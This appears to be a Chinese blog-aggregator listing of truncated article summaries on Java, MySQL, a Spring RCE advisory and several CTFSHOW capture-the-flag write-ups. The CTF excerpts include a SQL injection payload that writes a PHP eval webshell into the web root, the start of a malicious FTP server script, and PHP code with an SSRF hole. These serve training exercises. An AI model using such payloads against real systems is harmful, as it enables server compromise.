CVE-2022-22965:Spring远程代码执行漏洞

先自我介绍一下,小编13年上师交大毕业,曾经在小公司待过,去过华为OPPO等大厂,18年进入阿里,直到现在。Springframework是Spring里面的一个基础开源框架,其目的是用于简化Java企业级应用的开发难度和开发周期,2022年3月31日,VMwareTanzu发布漏洞报告,SpringFramework存在远程代码执行漏洞,在JDK9+上运行的SpringMVC或SpringWebFlux应用程序可能容易受到通过数据绑定的远程代码执行(RCE)的攻击。...
分类: 编程语言 发布时间: 08-01 19:52 阅读次数: 0

Java进阶(一) Java高效读取大文件,占内存少

因此我收集了一份《java开发全套学习资料》送给大家,初衷也很简单,就是希望帮助到想自学又不知道该从何学起的朋友,同时减轻大家的负担。——相反,我们只需要遍历文件的每一行,然后做相应的处理,处理完之后把它扔掉。所以,这正是我们将要做的——通过行迭代,而不是把所有行都放在内存中。这意味这一过程大约耗费了2.1GB的内存——原因很简单现在文件的所有行都被存储在内存中。这种方案将会遍历文件中的所有行——允许对每一行进行处理,而不保持对它的引用。——这为大文件的处理提供了一个有用的解决办法。...
分类: 编程语言 发布时间: 08-01 19:52 阅读次数: 0

java进阶(七)------多线程---多线程操作同一变量

首先要肯定的是ThreadLocal和局部变量是线程安全的,静态和实例变量都是不安全的。我们常常在系统中会用一些静态变量作为共同的状态标记。但在多线程中常常发现这个变量的增减会出现错乱并不是预期中的结果显示。...
分类: 编程语言 发布时间: 08-01 19:52 阅读次数: 0

java进阶(九)------图片跨域显示---服务端获取图片显示在jsp中

支持PNG、GIF、JPG、BMP、ICO格式。将图片转换为Base64编码,可以让你很方便地在没有上传文件的条件下将图片插入其它的网页、编辑器中。这对于一些小的图片是极为方便的,因为你不需要再去寻找一个保存图片的地方。假定生成的代码为“dataimage/jpeg;base64,…”,那么你只需要全部复制,然后在插入图片的时候,地址填写这段代码即可。CSS中使用url(“dataimage/png;HTML中使用。...
分类: 编程语言 发布时间: 08-01 19:52 阅读次数: 0

Java进阶(五十一)Could not create the view An unexpected exception was thrown

自己不成体系的自学效率很低又漫长,而且容易碰到天花板技术停止不前。org.eclipse.core.runtime.settings目录下面找到了名称为com.genuitec.eclipse.ast.deploy.core.prefs的文件,打开文件一开,哈哈,原来里面都是原来的一些项目信息,怪不得会报java.lang.NullPointerException错误呢。今天打开Myeclipse10的时候,发现server窗口出现一堆问题,问题如标题,然后下方出现了一堆上面的问题。...
分类: 编程语言 发布时间: 08-01 19:52 阅读次数: 0

java进阶(八)------动态获取图片---服务端获取图片显示在jsp中

如果我们本地或者服务器目录有一张图片,我们不能直接以访问静态资源的形式去访问这张图片。所以考虑使用Action(服务端)作为中介去获得这张图片。或者为了解决跨域问题比如我们使用了canvas把我们的动态页绘制保存成静态html页,但是动态页又用了其它第三方来源的图片,这种情况下canvas是不能绘制成功的,因为canvas不能跨域去获取第三方的图片。所以我们需要把图片下载下来成流的形式再设置成允许跨域访问再返回给页面。...
分类: 编程语言 发布时间: 08-01 19:52 阅读次数: 0

MySQL面试题大全(陆续更新)

对于InnoDB表,因为它的数据行内部存储格式对固定长度的数据行和可变长度的数据行不加区分(所有数据行共用一个表头部分,这个标头部分存放着指向各有关数据列的指针),而且主要影响性能的因素是因为数据行使用的存储总量,所以使用char类型不见得会比使用varchar类型好。而B+索引的查询效率比较稳定,对于所有的查询都是从根节点到叶子节点,且树的高度较低。比如一个"学生表",学号,姓名,所在院校,院校地址,院校电话等字段,这样此表就存在传递关,学号–>所在院校-->(院校地址,院校电话)。...
分类: 编程语言 发布时间: 08-01 19:52 阅读次数: 0

已解决ModuleNotFoundError: No module named‘ pip‘(重新安装pip的两种方式)

已解决ModuleNotFoundError: No module named’ pip’(重新安装pip的两种方式)
分类: 编程语言 发布时间: 08-01 19:51 阅读次数: 0

人尽皆知的云原生,到底是大势所趋还是过度炒作?

当今云原生可谓是如火如荼,起码在互联网领域它是人尽皆知,那么云原生到底是时代的大势所趋还是过度炒作概念呢?相信当你看完这篇文章,心里会有答案。
分类: 企业开发 发布时间: 08-01 19:51 阅读次数: 0

荐号 | 当一个人不联系你,不拉黑你,原因只有一个……!

1、人与人的疏远,从无话说开始2、那些不在乎你的人,就到此为止3、不要高估,你和任何人的关系4、不再打扰,也是一种美好今天给大家推荐几个有趣有料又高大上的公号改变你的圈子▼精髓文摘ID:jingsuiwenzhai推荐理由:精神极简的人明了人生苦短的真相,懂得删繁就简,了解、选择、专注于自己真正想从事的精神活动,不盲目浪费自己的时间与精力。他们无意去抵制尘世的枯燥与贫乏,...
分类: 企业开发 发布时间: 08-01 19:50 阅读次数: 0

CTFSHOW 常用姿势篇(801-810)

CTFSHOW 常用姿势篇群主在视频里面已经讲解的很清楚了,下面内容有些简略,就当补充下payload了。文章目录CTFSHOW 常用姿势篇web801web802web803web804web805web806web807web808web809web809web801非预期解:直接读flag /file?filename=/flag预期解:计算PIN码新版的计算方式发生了一些变化probably_public_bits包含4个字段,分别为usernamemodnamegetattr
分类: 编程语言 发布时间: 08-01 19:50 阅读次数: 0

CTFSHOW 常用姿势篇(811-820)

CTFSHOW 常用姿势篇群主在视频里面已经讲解的很清楚了,下面内容有些简略,就当补充下payload了。文章目录CTFSHOW 常用姿势篇web811web812web8111、搭建恶意ftp服务器import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(('0.0.0.0',4566)) #端口可改s.listen(1)conn, addr = s.accept()conn.send(b'220
分类: 编程语言 发布时间: 08-01 19:50 阅读次数: 0

2022网刃杯web

signin源码如下<?php highlight_file(__FILE__); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch);?>很明显的ssrf漏洞。用dict协议探测了下3306、6379、9000端口。应该是都没
分类: 编程语言 发布时间: 08-01 19:50 阅读次数: 0

CTFSHOW 套娃shell

CTFSHOW 套娃shell1、题目给的是用nc连接的,测试了下,传个请求包过去就可以了,比如(最后的换行不要忘了):GET /?file=/a HTTP/1.1Host: 127.0.0.1Connection: close但是又不是完全是按照这个请求包来的,把host改成其他的,也是可以成功。说明不是完全按照请求头的规则来读取的。题目里面的正则表达式大概意思就是以/开头,并且后面只能有数字字母和/。我们需要在服务器上构造一个文件,并且文件内容是可控的,或者是服务器本身就有这样的文件也
分类: 编程语言 发布时间: 08-01 19:50 阅读次数: 0

openCV第一篇

openCV第一章
分类: 企业开发 发布时间: 08-01 19:50 阅读次数: 0

CTFSHOW SQL注入篇(171-190)

无过滤前言下面几道无过滤的题都可以写入shell 然后蚁剑连上后从数据库里面找,具体做法如下id=0' union select 1,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"有的是查询的三项所以payload是id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"接着
分类: 编程语言 发布时间: 08-01 19:50 阅读次数: 0

CTFSHOW SQL注入篇(191-210)

ctfshow sql篇
分类: 编程语言 发布时间: 08-01 19:50 阅读次数: 0

经典算法之顺序查找(Sequential Search)

什么是顺序查找呢?顺序查找是按照序列原有顺序对数组进行遍历比较查询的基本查找算法。简单来说,就是给定一个数值,然后在给定的序列中按顺序依次与给定值比较,若相等则查找成功,反之失败!...
分类: 企业开发 发布时间: 08-01 19:50 阅读次数: 0

CTFSHOW 常用姿势篇(821-830)

ctfshow 常用姿势篇
分类: 编程语言 发布时间: 08-01 19:50 阅读次数: 0

CTFSHOW SQL注入篇(211-230)

ctfshow SQL注入篇
分类: 编程语言 发布时间: 08-01 19:49 阅读次数: 0